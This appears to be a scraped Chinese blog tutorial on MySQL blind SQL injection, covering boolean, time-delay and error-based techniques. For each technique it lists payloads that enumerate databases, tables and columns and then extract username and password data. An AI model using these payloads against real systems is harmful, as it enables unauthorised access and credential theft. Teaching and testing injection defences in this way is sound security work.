SQL注入之盲注简单总结

article/2025/9/13 16:40:49

Mysql盲注总结

  1. 什么是盲注?
    盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
  2. SQL盲注与SQL普通注入的区别?
    普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。
  3. SQL盲注分类:
    Sql盲注可以简单分为三类 :布尔盲注、延时盲注和报错盲注

什么是布尔盲注?

 布尔(Boolean)型是计算机里的一种数据类型,只有True(真)和False(假)两个值。一般也称为逻辑型。页面在执行sql语句后,只显示两种结果,这时可通过构造逻辑表达式的sql语句来判断数据的具体内容。

布尔注入用到的函数:

mid(str,start,length)  :字符串截取
ORD()                  :转换成ascii码
Length()               :统计长度
version()              :查看数据库版本
database()             :查看当前数据库名
user()                 :查看当前用户

布尔注入流程:
猜解获取数据库长度

' or length(database()) > 8 --+    :符合条件返回正确,反之返回错误

猜解数据库名

'or mid(database(),1,1)= 'z' --+    :因为需要验证的字符太多,所以转化为ascii码验证
'or ORD(mid(database(),1,1)) > 100 --+ :通过确定ascii码,从而确定数据库名

猜解表的总数

'or (select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2  --+   :判断表的总数

猜解第一个表名的长度

'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 0,1) = 5 --+
'or (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database() limit 1,1) = 5 --+ (第二个表)

猜解第一个表名

'or mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA = database() limit      0,1 ),1,1) = 'a'  --+
或者
'Or ORD(mid(select TABLE_NAME from information_schema.TABLES where 
TABLE_SCHEMA = database() limit 0,1),1,1)) >100   --+

猜解表的字段的总数

'or (select count(column_name) from information_schema.COLUMNS where TABLE_NAME='表名') > 5 --+

猜解第一个字段的长度

'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 0,1) = 10 --+
'or (select length(column_name) from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 10 --+ (第二个字段)

猜解第一个字段名

'or mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1) = 'i' --+
或者
'or ORD(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME = '表名' limit 0,1),1,1)) > 100 --+

猜解直接猜测字段名

' or (select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='表名' limit 1,1) = 'username' --+

猜解内容长度

假如已经知道字段名为  id   username password
'or (select Length(concat(username,"---",password)) from admin limit 0,1) = 16  --+

猜解内容

'or mid((select concat(username,"-----",password) from admin limit 0,1),1,1) = 'a' --+
或者
'or ORD(mid((select concat(username,"-----",password) from admin limit 0,1),1,1)) > 100 --+    ASCII码猜解

也可以直接猜测内容

'or (Select concat(username,"-----",password) from admin limit 0,1 ) = 'admin-----123456'   --+

什么是延迟盲注?

 提交对执行时间敏感的函数sql语句,通过执行时间的长短来判断是否执行成功,比如:正确的话会导致时间很长,错误的话会导致执行时间很短,这就是所谓的延迟盲注

延迟盲注需要的函数:

Sleep()                           :延迟函数
If(condition,true,false)          :条件语句
mid(str,start,length)             :字符串截取
ORD()                             :转换成ascii码
Length()                          :统计长度
version()                         :查看数据库版本
database()                        :查看当前数据库名
user()                            :查看当前用户

延迟注入流程:
获取数据库总数

' and sleep(if((select count(SCHEMA_NAME) from information_schema.SCHEMATA)= 7,0,5))       如果数据库总数等于7响应时间为0秒,如果不等于7 相应时间为5秒

猜解当前数据库长度

' and sleep(if((length(database()) = 8),0,5))--+     //当前数据库名长度为8

在这里插入图片描述

猜解当前数据库名

' and sleep(if((ORD(mid(database(),1,1)) =115 ),0,5))--+    //ascii码115 就是 s

猜解当前数据库表的总数

And sleep(if((注入语句),0,5))   //类似布尔注入推理即可 ,例如:
' And sleep(if((select count(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()) = 2,0,5))--+

在这里插入图片描述

猜解当前数据库表的长度
根据布尔注入推理即可
猜解当前数据库表名
猜解当前数据库表的字段总数
猜解当前数据库表的字段长度
猜解当前数据库表的字段名
猜解内容

什么是报错盲注?

 基于报错的盲注是通过输入特定语句使页面报错,网页中则会输出相关错误信息,从而是我们得到想要的基本信息——数据库名、版本、用户名等,如下图:

报错注入又分为两种爆错类型:数据库BUG报错注入和数据库函数报错注入

利用数据库BUG报错注入需要的函数:

只要是count(),rand() ,group by 三个函数连用就会造成这种报错
left(rand(),3)     :不一定报错
floor(rand(0)*2)    :一定报错
round(x,d)       :x指要处理的数,d是指保留几位小数
concat()         :字符串拼接

利用函数报错注入需要的函数:

Updatexml()
Exp()
Geometrycollection()
Polygon()
Multipoint()
Multilinestring()
Multipolygon()
等.....

利用数据库bug报错注入的流程
爆数据库的两种方法

' and (select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1) from information_schema.columns group by xx)
' union select concat(floor(rand(0)*2),"===",(select database())) as xx,count(1),3 from information_schema.columns group by xx

爆表名

' union select concat(floor(rand(0)*2),"===",(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=database() limit 3,1)) as xx,count(1),3 from information_schema.columns group by xx--+

在这里插入图片描述

爆字段

' union select concat(floor(rand(0)*2),"===",(select column_name from information_schema.columns where TABLE_SCHEMA=database() limit 8,1)) as xx,count(1),3 from information_schema.columns group by xx--+

在这里插入图片描述

猜解内容

' and ORD(mid((select concat(username,"-----",password) from security.users limit 0,1),1,1)) =68 %23         //逐个猜解内容(详情见布尔注入)

利用特定函数报错注入的流程:
与利用报错步骤相同,比如Updatexml()的注入语句如下:

' and 1=(updatexml(1,concat(0x3a,(select database() )),1))--+

在这里插入图片描述


http://chatgpt.dhexx.cn/article/ov9duK76.shtml

相关文章

sql盲注

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 sql注入--盲注 前言一、什么是盲注二、步骤示例1.测试注入点2.测所在数据库长度3. 利用ASCII码猜当前数据库名 4.利用ASCII码查询表名5、利用ASCII码查询字段名sql手注所用到…

Sql盲注与普通注入的区别

Sql盲注与普通注入的区别 在学习sql注入的时候,好多同学都是不弄清楚原理,去浏览器上狂搜一下注入语句,就开始对老师给的靶机注入,虽然能注入成功,但是不清楚原理,对以后的学习和工作没有多大的好处。现在我…

SQL 注入-盲注

目录 一、什么时候用到盲注? 二、盲注的优缺点 三、盲注的流程 四、盲注的分类 五、布尔盲注 5.1、原理以及什么时候使用布尔盲注? 5.2、例如upload-labs靶场中的Less-8 5.3、布尔盲注常用函数及定义 5.4、length()函数的使用方法 5.5、substr…

Sqlmap使用-盲注小实验

目录 sqlmap简介 基本格式 sqlmap详细命令: Options(选项): Target(目标): Request(请求): Enumeration(枚举): O…

SQL注入原理-布尔盲注

小伙伴们大家好,今天为大家带来的使SQL注入原理之布尔盲注。 目录 布尔盲注使用的环境 常用函数与语句 substr()函数 ord()函数 length()函数 实战演示 1、判断是否存在注入点 2、尝试用报错盲注看是否能够成功爆出数据 3、使用布尔盲注来爆出数据信息…

DVWA之sql注入——盲注

1.盲注 1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示&#xff…

SQL注入2——盲注(重学)

SQL注入——盲注 SQL注入——盲注 SQL注入——盲注一、布尔型盲注1、判断2、盲注库名3、盲注表名4、盲注列名5、盲注数据 时间型盲注总结 一、布尔型盲注 假如网站一定存在SQL注入,当注入SQL语句(1’ and 12#)之后,网站页面缺没有…

注入利用——盲注

盲注基本概念: 盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。 基于布尔的盲注 Web的页面的仅仅会返回True和False。那么布尔盲注就是进行SQL注入之后然后根据页面返回的True或者是False来得到数据库 中的相关信息。 …

SQL注入-布尔盲注

页面没有显示位 , 没有报错信息 , 只有成功和不成功两种情况时 , 可以使用布尔盲注 本次以 SQLi LABS 第9关为案例进行讲解 布尔盲注常用的两个函数(我觉得) length(abc) -- 判断字符串长度 substr(abc,1,1) -- 截取字符串,从第1个字符开始截取,截取1个 第一步,判断注入类型…

SQL注入原理-时间盲注

小伙伴们大家好!本期为大家带来的是SQL注入原理之时间盲注。 目录 使用环境 常见函数与语句 sleep()函数 if语句 substr()函数 ord()函数 length()函数 实战演示 1、判断是否存在注入点 2、使用时间盲注爆出数据 1、爆出当前数据库名的长度 2、爆出数…

sql注入之盲注相关知识

盲注 一.概念理解: 盲注(Blind SQL Injection ),就是在 sql 注入过程中, sql 语句执行之后, 数据不能回显到前端页面,需要利用一些方法进行判断或者尝试。 二.盲注基本条件: 自己可以控制输入 原程序要执行的代码拼接了用户输入的数据。 …

盲注--理论知识

盲注的简单定义: 我们在查询过程中,页面只有两种情况:“true”和“false”,要么有,要么没有;查询表的记录和语句错误也不会显示。这种状况下的注入,称为盲注。 盲注的关键点: 根据…

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程

「作者主页」:士别三日wyx 「作者简介」:CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「专栏简介」:此文章已录入专栏《网络安全快速入门》 布尔盲注 一、适用环境二、盲注步骤三、原理分析1. 长度判断原理2. 穷举字…

SQL盲注(原理概述、分类)

盲注原理 盲注的分类 盲注常用函数 一、SQL盲注概述 盲注:即在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,这个过程成为盲注 1.如果数据库运行返回结…

盲注

目录 1、注入攻击的本质 2、盲注的介绍 (一)布尔盲注 (二)时间盲注 3、盲注常用方法 (一)length()函数 (二)substr()截取字符串…

SQL注入-盲注(布尔盲注与时间盲注)

目录 一、什么是盲注 二、盲注的分类 三、利用盲注的前提条件 四、盲注的优缺点 五、基于布尔类型的盲注 1.什么情况下使用布尔类型的盲注 2.使用布尔类型盲注的操作步骤: 3.布尔类型盲注的操作过程(以获取当前数据库为例) 4.使用其他…

详述ROWID的原理及其使用

ROWID基础概念 在Oracle内部,每个数据表都有一个伪列ROWID,用于存放被称为ROWID的二进制值。每个ROWID代表了一行数据的存储地址。物理ROWID能够标识普通数据表中的一行信息。其中ROWID类型只能存储物理内容,而UROWID(universal rowid)类型可…

Oracle中ROWNUM伪列和ROWID伪列的用法与区别

做过Oracle分页的人都知道由于Oracle中没有像MySql中limit函数以及SQLServer中的top关键字等,所以只能通过伪列的方式去满足分页功能,在此,不谈分页方法,只从根本上去介绍这两个伪列的用法与原理,同样还是以scott用户的…

Silverlight MMORPG WebGame游戏设计(二)--通讯协议之惑

晚上看到我在silverlight webGame上的导师"深蓝色右手"拿到 荣誉,觉得他名至实归。回想自己2010过年来到北京忙于一些琐屑的事情,好久没有动手写我的web传奇了。 去年在群里说我过年要开源我的Web传奇,写一些服务端的文章。后来我发…

amf webgame

一篇来自职业欠钱哥哥的东西,很有帮助。 这两年WebGame比较火,WebGame中,前端用Flash表现比较多,而服务器端依然是Web应用。 不少产品已经开始用AMF(Action Message Format)来取代标准的HTTP交互。&#xf…